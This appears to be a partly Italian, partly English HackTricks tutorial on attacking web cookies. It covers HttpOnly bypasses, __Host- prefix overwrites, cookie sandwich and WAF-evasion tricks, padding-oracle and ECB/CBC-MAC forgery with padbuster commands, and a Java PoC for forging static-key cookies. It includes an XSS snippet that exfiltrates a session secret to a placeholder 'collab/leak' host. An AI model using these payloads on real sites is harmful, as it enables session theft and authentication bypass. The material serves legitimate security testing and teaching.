Cookies Hacking

Reading time: 21 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

I Cookie hanno diversi attributi che controllano il loro comportamento nel browser dell'utente. Di seguito una panoramica di questi attributi espressa con voce più passiva:

Expires and Max-Age

La data di scadenza di un cookie è determinata dall'attributo Expires. Al contrario, l'attributo Max-age definisce il tempo in secondi fino a quando un cookie viene eliminato. Si consiglia di usare Max-age poiché riflette pratiche più moderne.

Domain

Gli host che ricevono un cookie sono specificati dall'attributo Domain. Per impostazione predefinita, questo è impostato sull'host che ha emesso il cookie, escludendo i suoi sottodomini. Tuttavia, quando l'attributo Domain è impostato esplicitamente, include anche i sottodomini. Questo rende la specificazione dell'attributo Domain un'opzione meno restrittiva, utile quando è necessario condividere i cookie tra sottodomini. Ad esempio, impostando Domain=mozilla.org i cookie saranno accessibili sui suoi sottodomini come developer.mozilla.org.

Path

L'attributo Path indica un percorso URL specifico che deve essere presente nell'URL richiesto affinché l'intestazione Cookie venga inviata. Questo attributo considera il carattere / come separatore di directory, permettendo la corrispondenza anche nelle sottodirectory.

Ordering Rules

Quando due cookie hanno lo stesso nome, quello scelto per l'invio si basa su:

  • Il cookie che corrisponde al longest path nell'URL richiesto.
  • Il cookie impostato più di recente se i path sono identici.

SameSite

  • L'attributo SameSite determina se i cookie vengono inviati su richieste originate da domini di terze parti. Offre tre impostazioni:
  • Strict: impedisce che il cookie venga inviato nelle richieste di terze parti.
  • Lax: permette che il cookie venga inviato con richieste GET avviate da siti web di terze parti.
  • None: consente che il cookie venga inviato da qualsiasi dominio di terze parti.

Ricorda, durante la configurazione dei cookie, comprendere questi attributi può aiutare a garantire che si comportino come previsto in scenari diversi.

Request TypeExample CodeCookies Sent When
Link<a href="..."></a>NotSet*, Lax, None
Prerender<link rel="prerender" href=".."/>NotSet*, Lax, None
Form GET<form method="GET" action="...">NotSet*, Lax, None
Form POST<form method="POST" action="...">NotSet*, None
iframe<iframe src="..."></iframe>NotSet*, None
AJAX$.get("...")NotSet*, None
Image<img src="...">NetSet*, None

Table from Invicti and slightly modified.
Un cookie con l'attributo SameSite mitigherà gli attacchi CSRF dove è necessaria una sessione autenticata.

*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite attribute will be lax (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
Nota che temporaneamente, dopo l'applicazione di questa modifica, i cookie senza una SameSite policy in Chrome saranno trattati come None durante i primi 2 minuti e poi come Lax per le richieste POST cross-site di primo livello.

Cookies Flags

HttpOnly

Questo impedisce al client di accedere al cookie (ad esempio via Javascript: document.cookie)

Bypasses

  • Se la pagina sta inviando i cookie nella response di una richiesta (ad esempio in una pagina PHPinfo), è possibile abusare di XSS per inviare una richiesta a quella pagina e rubare i cookie dalla response (vedi un esempio in https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/).
  • Questo può essere bypassato con richieste TRACE HTTP in quanto la response del server (se questo metodo HTTP è disponibile) rifletterà i cookie inviati. Questa tecnica è chiamata Cross-Site Tracking.
  • Questa tecnica è evitata dai browser moderni non permettendo l'invio di una richiesta TRACE da JS. Tuttavia, sono stati trovati alcuni bypass in software specifici, come inviare \r\nTRACE invece di TRACE su IE6.0 SP2.
  • Un altro modo è lo sfruttamento di vulnerabilità zero-day dei browser.
  • È possibile sovrascrivere HttpOnly cookies eseguendo un attacco di Cookie Jar overflow:

Cookie Jar Overflow

  • È possibile utilizzare un attacco di Cookie Smuggling per esfiltrare questi cookie
  • Se un endpoint server-side riflette l'ID di sessione grezzo nella response HTTP (ad es., dentro commenti HTML o in un blocco di debug), è possibile bypassare HttpOnly usando un gadget XSS per richiedere quell'endpoint, estrarre il secret con regex ed esfiltrarlo. Esempio di pattern di payload XSS:
js
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });

Secure

La richiesta invierà solo il cookie in una richiesta HTTP se la richiesta viene trasmessa su un canale sicuro (tipicamente HTTPS).

I cookie con prefisso __Secure- devono essere impostati insieme al flag secure da pagine protette da HTTPS.

Per i cookie con prefisso __Host-, devono essere soddisfatte diverse condizioni:

  • Devono essere impostati con il flag secure.
  • Devono avere origine da una pagina protetta da HTTPS.
  • È vietato specificare un domain, impedendone la trasmissione ai sottodomini.
  • Il path per questi cookie deve essere impostato su /.

È importante notare che i cookie con prefisso __Host- non sono autorizzati a essere inviati a superdomini o sottodomini. Questa restrizione aiuta a isolare i cookie dell'applicazione. Pertanto, adottare il prefisso __Host- per tutti i cookie dell'applicazione può essere considerata una buona pratica per migliorare la sicurezza e l'isolamento.

Overwriting cookies

Quindi, una delle protezioni dei cookie con prefisso __Host- è impedire che vengano sovrascritti dai sottodomini. Previene, per esempio, Cookie Tossing attacks. Nella talk Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper) è stato mostrato che era possibile impostare cookie con prefisso __HOST- da un sottodominio, ingannando il parser — per esempio aggiungendo "=" all'inizio o sia all'inizio che alla fine...:

O in PHP era possibile aggiungere altri caratteri all'inizio del nome del cookie che sarebbero stati sostituiti da underscore, permettendo di sovrascrivere i cookie __HOST-:

Sfrutta discrepanze tra il parsing del browser e del server premettendo al nome del cookie un code point di whitespace Unicode. Il browser non considererà il nome come iniziato letteralmente con __Host-/__Secure-, quindi permette l'impostazione dal sottodominio. Se il backend rimuove/normalizza gli whitespace Unicode iniziali nelle chiavi dei cookie, vedrà il nome protetto e potrà sovrascrivere il cookie ad alto privilegio.

  • PoC from a subdomain that can set parent-domain cookies:
js
document.cookie = `${String.fromCodePoint(0x2000)}__Host-name=injected; Domain=.example.com; Path=/;`;
  • Comportamenti tipici del backend che abilitano il problema:

  • Framework che rimuovono/normalizzano le chiavi dei cookie. In Django, Python’s str.strip() rimuove un'ampia gamma di code point di spazio Unicode, causando la normalizzazione del nome in __Host-name.

  • I code point comunemente rimossi includono: U+0085 (NEL, 133), U+00A0 (NBSP, 160), U+1680 (5760), U+2000–U+200A (8192–8202), U+2028 (8232), U+2029 (8233), U+202F (8239), U+205F (8287), U+3000 (12288).

  • Molti framework risolvono i nomi di cookie duplicati con la regola “last wins”, quindi il valore del cookie normalizzato controllato dall'attaccante sovrascrive quello legittimo.

  • Differenze tra browser:

  • Safari blocca gli spazi Unicode multibyte nei nomi dei cookie (es. rifiuta U+2000) ma permette ancora i singoli byte U+0085 e U+00A0, che molti backend rimuovono. Testare incrociando i browser.

  • Impatto: Consente la sovrascrittura di cookie __Host-/__Secure- da contesti meno affidabili (sottodomini), il che può portare a XSS (se riflesso), sovrascrittura di token CSRF, e session fixation.

  • On-the-wire vs server view example (U+2000 present in name):

Cookie: __Host-name=Real;  __Host-name=<img src=x onerror=alert(1)>;

Molti backend dividono/analizzano e poi rimuovono gli spazi, facendo sì che il __Host-name normalizzato assuma il valore dell'attaccante.

Some Java stacks (e.g., Tomcat/Jetty-style) still enable legacy RFC 2109/2965 parsing when the Cookie header starts with $Version=1. This can cause the server to reinterpret a single cookie string as multiple logical cookies and accept a forged __Host- entry that was originally set from a subdomain or even over insecure origin.

  • PoC per forzare il parsing legacy:
js
document.cookie = `$Version=1,__Host-name=injected; Path=/somethingreallylong/; Domain=.example.com;`;
  • Perché funziona:

  • Client-side prefix checks apply during set, but server-side legacy parsing later splits and normalizes the header, bypassing the intent of __Host-/__Secure- prefix guarantees.

  • Where to try: Tomcat, Jetty, Undertow, or frameworks that still honor RFC 2109/2965 attributes. Combine with duplicate-name overwrite semantics.

Duplicate-name last-wins overwrite primitive

When two cookies normalize to the same name, many backends (including Django) use the last occurrence. After smuggling/legacy-splitting produces two __Host-* names, the attacker-controlled one will typically win.

Detection and tooling

Use Burp Suite to probe for these conditions:

  • Try multiple leading Unicode whitespace code points: U+2000, U+0085, U+00A0 and observe whether the backend trims and treats the name as prefixed.
  • Send $Version=1 first in the Cookie header and check if the backend performs legacy splitting/normalization.
  • Observe duplicate-name resolution (first vs last wins) by injecting two cookies that normalize to the same name.
  • Burp Custom Action to automate this: CookiePrefixBypass.bambda

Suggerimento: These techniques exploit RFC 6265’s octet-vs-string gap: browsers send bytes; servers decode and may normalize/trim. Mismatches in decoding and normalization are the core of the bypass.

Cookies Attacks

If a custom cookie contains sensitive data check it (specially if you are playing a CTF), as it might be vulnerable.

Decoding and Manipulating Cookies

I dati sensibili incorporati nei cookie devono sempre essere esaminati. Cookie codificati in Base64 o in formati simili possono spesso essere decodificati. Questa vulnerabilità permette a un attaccante di modificare il contenuto del cookie e impersonare altri utenti ricodificando i dati modificati nel cookie.

Session Hijacking

Questo attacco consiste nel rubare il cookie di un utente per ottenere accesso non autorizzato al suo account in un'applicazione. Usando il cookie rubato, un attaccante può impersonare l'utente legittimo.

Session Fixation

In questo scenario, un attaccante induce la vittima a usare un cookie specifico per effettuare il login. Se l'applicazione non assegna un nuovo cookie al login, l'attaccante, in possesso del cookie originale, può impersonare la vittima. Questa tecnica si basa sul fatto che la vittima esegua il login con un cookie fornito dall'attaccante.

If you found an XSS in a subdomain or you control a subdomain, read:

Cookie Tossing

Session Donation

Here, the attacker convinces the victim to use the attacker's session cookie. The victim, believing they are logged into their own account, will inadvertently perform actions in the context of the attacker's account.

If you found an XSS in a subdomain or you control a subdomain, read:

Cookie Tossing

JWT Cookies

Click on the previous link to access a page explaining possible flaws in JWT.

JSON Web Tokens (JWT) used in cookies can also present vulnerabilities. For in-depth information on potential flaws and how to exploit them, accessing the linked document on hacking JWT is recommended.

Cross-Site Request Forgery (CSRF)

Questo attacco costringe un utente autenticato a eseguire azioni indesiderate su un'applicazione web in cui è attualmente autenticato. Gli attaccanti possono sfruttare i cookie che vengono inviati automaticamente con ogni richiesta al sito vulnerabile.

Empty Cookies

(Vedi ulteriori dettagli in theoriginal research) I browser permettono la creazione di cookie senza nome, cosa che può essere dimostrata tramite JavaScript come segue:

js
document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"

Il risultato nell'header Cookie inviato è a=v1; test value; b=v2;. Curiosamente, questo permette la manipolazione dei cookie se viene impostato un cookie con nome vuoto, controllando potenzialmente altri cookie impostando il cookie vuoto a un valore specifico:

js
function setCookie(name, value) {
document.cookie = `${name}=${value}`
}

setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value

Questo porta il browser a inviare un cookie header interpretato da ogni web server come un cookie chiamato a con valore b.

Bug di Chrome: Unicode Surrogate Codepoint Issue

In Chrome, se un Unicode surrogate codepoint fa parte di un set cookie, document.cookie viene corrotto, restituendo successivamente una stringa vuota:

js
document.cookie = "\ud800=meep"

Questo fa sì che document.cookie restituisca una stringa vuota, indicando una corruzione permanente.

(Per ulteriori dettagli, vedere laoriginal research) Diversi web server, inclusi quelli Java (Jetty, TomCat, Undertow) e Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), gestiscono in modo errato le stringhe di cookie a causa del supporto obsoleto di RFC2965. Interpretano un valore di cookie racchiuso tra virgolette doppie come un unico valore anche se contiene punti e virgola, che normalmente dovrebbero separare coppie chiave-valore:

RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";

(Check further details in theoriginal research) L'errata interpretazione dei cookie da parte dei server, in particolare Undertow, Zope e quelli che usano Python's http.cookie.SimpleCookie e http.cookie.BaseCookie, crea opportunità per attacchi di cookie injection. Questi server non delimitano correttamente l'inizio di nuovi cookie, permettendo ad attaccanti di falsificare cookie:

  • Undertow si aspetta un nuovo cookie immediatamente dopo un valore tra virgolette senza un punto e virgola.
  • Zope cerca una virgola per iniziare l'analisi del cookie successivo.
  • Le classi cookie di Python iniziano l'analisi quando incontrano un carattere spazio.

Questa vulnerabilità è particolarmente pericolosa nelle applicazioni web che si basano sulla protezione CSRF tramite cookie, poiché consente agli attaccanti di iniettare cookie CSRF-token falsificati, potenzialmente aggirando le misure di sicurezza. Il problema è aggravato dalla gestione dei nomi duplicati dei cookie in Python, dove l'ultima occorrenza sovrascrive le precedenti. Solleva anche preoccupazioni per i cookie __Secure- e __Host- in contesti non sicuri e potrebbe portare ad aggiramenti dell'autorizzazione quando i cookie vengono passati a server back-end suscettibili alla falsificazione.

Cookies $version

WAF Bypass

According to this blogpost, it might be possible to use the cookie attribute $Version=1 to make the backend use an old logic to parse the cookie due to the RFC2109. Moreover, other values just as $Domain and $Path can be used to modify the behaviour of the backend with the cookie.

According to this blogpost it's possible to use the cookie sandwich technique to steal HttpOnly cookies. These are the requirements and steps:

  • Trova un punto dove un apparente cookie inutile viene riflesso nella risposta
  • Crea un cookie chiamato $Version con valore 1 (puoi farlo in un attacco XSS da JS) con un path più specifico in modo che ottenga la posizione iniziale (alcuni framework come python non necessitano di questo passaggio)
  • Crea il cookie che viene riflesso con un valore che lasci le virgolette doppie aperte e con un path specifico in modo che sia posizionato nel cookie db dopo quello precedente ($Version)
  • Poi, il cookie legittimo andrà subito dopo nell'ordine
  • Crea un cookie fittizio che chiuda le virgolette doppie all'interno del suo valore

In questo modo il cookie vittima viene intrappolato all'interno del nuovo cookie versione 1 e verrà riflesso ogni volta che viene riflesso. e.g. from the post:

javascript
document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;

WAF bypasses

Cookies $version

Vedi la sezione precedente.

Bypassing value analysis with quoted-string encoding

Questa parsing indica di effettuare l'unescape dei valori escapati all'interno dei cookie, quindi "\a" diventa "a". Questo può essere utile per bypassare i WAFS, ad esempio:

  • eval('test') => forbidden
  • "\e\v\a\l\(\'\t\e\s\t\'\)" => allowed

Nell'RFC2109 è indicato che una virgola può essere usata come separatore tra i valori dei cookie. Inoltre è possibile aggiungere spazi e tab prima e dopo il segno di uguale. Di conseguenza un header come $Version=1; foo=bar, abc = qux non genera il cookie "foo":"bar, admin = qux" ma i cookie foo":"bar" e "admin":"qux". Nota come vengano generati 2 cookie e come admin abbia perso lo spazio prima e dopo il segno di uguale.

Infine diversi backdoors potrebbero unire in una stringa cookie differenti passati in header Cookie separati, come in:

GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;

Ciò potrebbe permettere il bypass di un WAF, come in questo esempio:

Cookie: name=eval('test//
Cookie: comment')

Resulting cookie: name=eval('test//, comment') => allowed

Controlli di base

  • Il cookie è lo stesso ogni volta che effettui il login.
  • Effettua il log out e prova a usare lo stesso cookie.
  • Prova a effettuare il login con 2 dispositivi (o browser) sullo stesso account usando lo stesso cookie.
  • Verifica se il cookie contiene informazioni e prova a modificarlo
  • Prova a creare diversi account con username quasi identici e verifica se noti somiglianze.
  • Controlla l'opzione "remember me" se esiste per vedere come funziona. Se esiste e potrebbe essere vulnerabile, usa sempre il cookie di remember me senza altri cookie.
  • Verifica se il cookie precedente funziona ancora dopo aver cambiato la password.

Attacchi avanzati ai cookies

Se il cookie rimane lo stesso (o quasi) quando effettui il login, probabilmente significa che il cookie è legato a qualche campo del tuo account (probabilmente lo username). A questo punto puoi:

  • Prova a creare molti accounts con username molto simili e cerca di indovinare come funziona l'algoritmo.
  • Prova a bruteforce the username. Se il cookie viene salvato solo come metodo di autenticazione per il tuo username, allora puoi creare un account con username "Bmin" e bruteforce ogni singolo bit del tuo cookie perché uno dei cookie che proverai sarà quello appartenente a "admin".
  • Prova Padding Oracle (puoi decrittare il contenuto del cookie). Usa padbuster.

Padding Oracle - Padbuster examples

bash
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf

# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2

Padbuster effettuerà diversi tentativi e ti chiederà quale condizione corrisponde all'errore (quella che non è valida).

Successivamente inizierà a decrypting the cookie (potrebbe richiedere diversi minuti)

Se l'attacco è stato eseguito con successo, potresti provare a encrypt una stringa a tua scelta. Per esempio, se volessi encrypt user=administrator

padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator

Questa esecuzione ti restituirà il cookie correttamente cifrato e codificato con la stringa user=administrator all'interno.

CBC-MAC

Un cookie potrebbe contenere un valore e venire firmato usando CBC. In questo caso, l'integrità del valore è la firma ottenuta applicando CBC allo stesso valore. Poiché si consiglia di usare come IV un vettore nullo, questo tipo di controllo di integrità potrebbe essere vulnerabile.

L'attacco

  1. Ottieni la firma per l'username administ = t
  2. Ottieni la firma per l'username rator\x00\x00\x00 XOR t = t'
  3. Imposta nel cookie il valore administrator+t' (t' sarà una firma valida di (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00

ECB

Se il cookie è cifrato usando ECB potrebbe essere vulnerabile.
Quando effettui il login il cookie che ricevi deve essere sempre lo stesso.

How to detect and attack:

Create 2 users with almost the same data (username, password, email, etc.) and try to discover some pattern inside the given cookie

Create a user called for example "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" and check if there is any pattern in the cookie (as ECB encrypts with the same key every block, the same encrypted bytes could appear if the username is encrypted).

There should be a pattern (with the size of a used block). So, knowing how are a bunch of "a" encrypted you can create a username: "a"*(size of the block)+"admin". Then, you could delete the encrypted pattern of a block of "a" from the cookie. And you will have the cookie of the username "admin".

Some applications mint authentication cookies by encrypting only a predictable value (e.g., the numeric user ID) under a global, hard-coded symmetric key, then encoding the ciphertext (hex/base64). If the key is static per product (or per install), anyone can forge cookies for arbitrary users offline and bypass authentication.

How to test/forge

  • Identify the cookie(s) that gate auth, e.g., COOKIEID and ADMINCOOKIEID.
  • Determine cipher/encoding. In one real-world case the app used IDEA with a constant 16-byte key and returned the ciphertext as hex.
  • Verify by encrypting your own user ID and comparing with the issued cookie. If it matches, you can mint cookies for any target ID (1 often maps to the first admin).
  • Set the forged value directly as the cookie and browse; no credentials are needed.
Minimal Java PoC (IDEA + hex) used in the wild
java
import cryptix.provider.cipher.IDEA;
import cryptix.provider.key.IDEAKeyGenerator;
import cryptix.util.core.Hex;
import java.security.Key;
import java.security.KeyException;
import java.io.UnsupportedEncodingException;

public class App {
private String ideaKey = "1234567890123456"; // example static key

public String encode(char[] plainArray) { return encode(new String(plainArray)); }

public String encode(String plain) {
IDEAKeyGenerator keygen = new IDEAKeyGenerator();
IDEA encrypt = new IDEA();
Key key;
try {
key = keygen.generateKey(this.ideaKey.getBytes());
encrypt.initEncrypt(key);
} catch (KeyException e) { return null; }
if (plain.length() == 0 || plain.length() % encrypt.getInputBlockSize() > 0) {
for (int currentPad = plain.length() % encrypt.getInputBlockSize(); currentPad < encrypt.getInputBlockSize(); currentPad++) {
plain = plain + " "; // space padding
}
}
byte[] encrypted = encrypt.update(plain.getBytes());
return Hex.toString(encrypted); // cookie expects hex
}

public String decode(String chiffre) {
IDEAKeyGenerator keygen = new IDEAKeyGenerator();
IDEA decrypt = new IDEA();
Key key;
try {
key = keygen.generateKey(this.ideaKey.getBytes());
decrypt.initDecrypt(key);
} catch (KeyException e) { return null; }
byte[] decrypted = decrypt.update(Hex.fromString(chiffre));
try { return new String(decrypted, "ISO_8859-1").trim(); } catch (UnsupportedEncodingException e) { return null; }
}

public void setKey(String key) { this.ideaKey = key; }
}
contesto (es., server-side session con random ID, o aggiungere proprietà anti-replay).

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks